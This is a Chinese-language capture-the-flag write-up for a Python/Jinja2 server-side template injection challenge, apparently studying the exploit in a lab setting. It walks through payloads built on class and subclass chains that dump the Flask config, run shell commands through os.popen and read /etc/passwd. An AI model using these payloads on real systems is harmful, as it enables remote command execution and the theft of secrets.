攻防世界25-Web_python_template_injection-CTFWeb

python模板注入,其实就是ssti,SSTI 注入 - Hello CTF (hello-ctf.com)

「模板注入 SSTI(Server-Side Template Injection)」 也一样,数据传递 就是可控的输入点,以 Jinja2 举例,Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。

测试一下

http://61.147.171.105:65476/{{7*7}}

image-20241016110314430

存在ssti

直接试试几个先看看

{{url_for.globals['current_app'].config}}

{{get_flashed_messages.globals['current_app'].config['FLAG']}}

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval(“import('os').popen('whoami').read()“) }}{% endif %}{% endfor %}

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval(“import('os').popen('env').read()“) }}{% endif %}{% endfor %}

首先,题目告诉我们这是一个 python 注入问题,思考怎样用 python 语句获取控制台权限:想到了 os.systemos.popen (参考资 料), 这两句前者返回 退出状态码 , 后者 以 file 形式 返回 输出内容, 我们想要的是内容,所所以选择 os.popen

python 模板注入 - tr1ple - 博客园 (cnblogs.com)

__class__ : 返回对象所属的类 

__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的 顺序解析。

__base__ : 返回该类所继承的基类 // __base__和__mro__都是用来寻找基类的 

__subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表 

__init__ : 类的初始化方法 

__globals__ : 对包含函数全局变量的字典的引用
```
{{''.__class__}}

image-20241016111657358

{{''.__class__.__mro__}} #(<type 'str'>, <type 'basestring'>, <type 'object'>) not found
```
{{''.__class__.__mro__[2].__subclasses__()}}

从其中可以找到我们想要 的 os 所在的 site._Printer 类,它在列表的第七十二位, 即 __subclasses__()[71]

image-20241016112221690

通过 __subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()调用服务器的控制台 并显示 ,这下我们就可以随便用控制台输出了

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

image-20241016112701542

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

image-20241016112800374

还有其他语句可获得

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()